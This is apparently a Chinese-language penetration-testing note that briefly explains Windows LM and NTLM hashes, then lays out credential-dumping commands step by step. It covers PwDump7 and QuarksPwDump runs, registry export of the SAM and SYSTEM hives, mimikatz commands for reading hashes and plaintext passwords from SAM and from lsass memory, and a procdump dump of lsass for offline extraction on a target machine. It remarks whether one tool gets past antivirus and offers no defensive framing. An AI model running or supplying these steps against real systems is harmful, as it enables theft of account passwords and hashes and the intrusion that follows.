LM Hash 和 NTLM Hash
Windows 操作系统通常使用两种方法对用户的明文密码进行加密处理。
在域环境中,用户信息存储在 ntds.dit 中,加密后为散列值。
在 Windows 操作系统中,Hash 的结构通常如下:
username:RID:LM-HASH:NT-HASH
LM Hash(LAN Manager Hash)其本质是 DES 加密。在 Windows 2008 及开始之后默认禁用的是 LM Hash。
NTLM Hash 是基于 MD4 加密算法进行加密的,服务器从 Windows Server 2003 以后,Windows 操作系统的认证方式均为 NTLM Hash。
Windows Hash 散列值抓取
要想在 Windows 操作系统中抓取散列值或明文密码,必须将权限提升为 System。本地用户名,散列值和其他安全验证信息都保存在 SAM 文件中。
lsass.exe 进程用于实现 Windows 的安全策略(本地安全策略和登录策略)。可以使用工具将散列值和明文密码从内存中的 lsass.exe 进程或 SAM 文件中导出。
GetPassword
在命令行运行 Getpassword 即可获取明文密码
PwDump7
在命令行环境中运行 PwDump7 程序,可以得到系统中所有账户的 NTLM Hsh:(必须要有系统权限才能运行)
下载地址:https://download.openwall.net/pub/projects/john/contrib/pwdump/pwdump7.zip
QuarkPwDump
在命令行下输入:导出三个用户的 NTML Hash
QuarksPwDump.exe --dump-hash-local
QuarksPwDump 不过杀软。
通过 SAM 和 System 文件抓取密码
(1)导出 SAM 和 System 文件:通过 reg 的注册表导出
reg save hklm\sam sam.hive
reg save hklm\system system.hive
(2)通过读取 SAM 和System 文件获得 NTLM Hash
1、使用mimikatz读取SAM和System文件
将导出的 system.hive 和 sam.hive 文件放到 mimikatz 文件夹下,然后运行mimikatz命令:
lsadump::sam /sam:sam.hive /system:system.hive
2、使用mimikatz直接读取本地 SAM文件,导出Hash信息
该方法与1不同的是,需要在目标机器上运行mimikatz:
#提升权限
privilege::debug
#提升权限为system
token::elevate
#读取本地SAM文件,获得NTLM Hash
lsadump::sam
使用 Mimikatz 在线读取 SAM 文件
在目标mimikatz目录下运行命令,在线读取散列值及明文密码:
mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords"
使用 Mimikatz 离线读取 lsass.dmp 文件
(1)导出lsass.dmp文件
通过 procdump.exe 文件导出lsass.dmp文件
procdump 下载地址:https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump
在命令行输入命令会生成一个 lsass.dmp 文件:
procdump.exe -accepteula -ma lsass.exe lsass.dmp
(2)使用mimikatz导出lsass.dmp文件中的密码散列值
首先将导出的lsass.dmp文件放到mimikatz的目录下,然后输入命令:
如果有 Switch to MINIDUMP 说明加载成功
sekurlsa::minidump lsass.dmp
最后运行命令导出密码散列值:
sekurlsa::logonPasswords full
参考文章:
https://zhuanlan.zhihu.com/p/220277028